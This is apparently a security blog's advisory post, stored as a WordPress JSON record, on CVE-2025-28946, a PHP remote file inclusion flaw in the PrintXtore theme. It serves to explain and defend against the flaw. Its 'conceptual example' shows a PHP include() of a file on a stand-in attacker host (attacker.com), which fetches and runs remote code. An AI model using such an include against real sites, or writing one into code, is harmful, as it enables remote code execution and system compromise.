{"id":57520,"date":"2025-07-05T15:33:31","date_gmt":"2025-07-05T15:33:31","guid":{"rendered":""},"modified":"2025-10-02T00:14:40","modified_gmt":"2025-10-02T06:14:40","slug":"cve-2025-28946-php-remote-file-inclusion-vulnerability-in-bzotheme-printxtore","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28946-php-remote-file-inclusion-vulnerability-in-bzotheme-printxtore\/","title":{"rendered":"<strong>CVE-2025-28946: PHP Remote File Inclusion Vulnerability in BZOTheme PrintXtore<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-28946 is a critical vulnerability that exists due to improper control of a filename for the include\/require statement in a PHP program. This is also known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. It affects the BZOTheme PrintXtore software and versions up to and including 1.7.5 are at risk. This vulnerability is significant due to its high severity score and its <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64222\">potential to compromise systems and lead<\/a> to data leakage. As PHP is a widely used language for web development, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58280-object-heap-address-exposure-vulnerability-in-ark-ets\/\"  data-wpil-monitor-id=\"87285\">vulnerability could have widespread implications if not adequately addressed<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28946<br \/>\nSeverity: High (8.1 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64601\">System compromise and potential data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1618960522\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BZOTheme PrintXtore | Up to and including 1.7.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64910\">vulnerability arises from the improper<\/a> control of a filename in the include\/require statement of a PHP program. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/\"  data-wpil-monitor-id=\"64125\">remotely include a file<\/a> from a remote server, which could contain malicious PHP code. Once included and executed, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32454-out-of-bounds-read-in-teamcenter-visualization-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"64114\">code can compromise the system and potentially lead<\/a> to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3349612821\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"87286\">attacker might exploit<\/a> this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ Malicious remote file to be included\n$evil_file = &quot;http:\/\/attacker.com\/malicious_file.php&quot;;\n\/\/ Vulnerable include statement\ninclude($evil_file);\n?&gt;<\/code><\/pre>\n<p>In this example, the attacker controls the `$evil_file` variable and sets it to a URL hosting their malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65791\">PHP file<\/a>. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40582-root-level-command-execution-vulnerability-in-scalance-lpe9403\/\"  data-wpil-monitor-id=\"63974\">vulnerable include statement then includes and executes<\/a> this file, potentially leading to a system compromise.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3319-an-authentication-bypass-vulnerability-in-ibm-spectrum-protect-server\/\"  data-wpil-monitor-id=\"64370\">protection by detecting and blocking attempts to exploit this vulnerability<\/a>.<br \/>\nIn the long term, developers should practice secure <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64600\">coding to prevent such vulnerabilities<\/a>. This includes proper input validation, especially for include\/require statements, and ensuring that only <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky\/\"  data-wpil-monitor-id=\"65809\">local files<\/a> can be included.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-28946 is a critical vulnerability that exists due to improper control of a filename for the include\/require statement in a PHP program. This is also known as a &#8216;PHP Remote File Inclusion&#8217; vulnerability. It affects the BZOTheme PrintXtore software and versions up to and including 1.7.5 are at risk. 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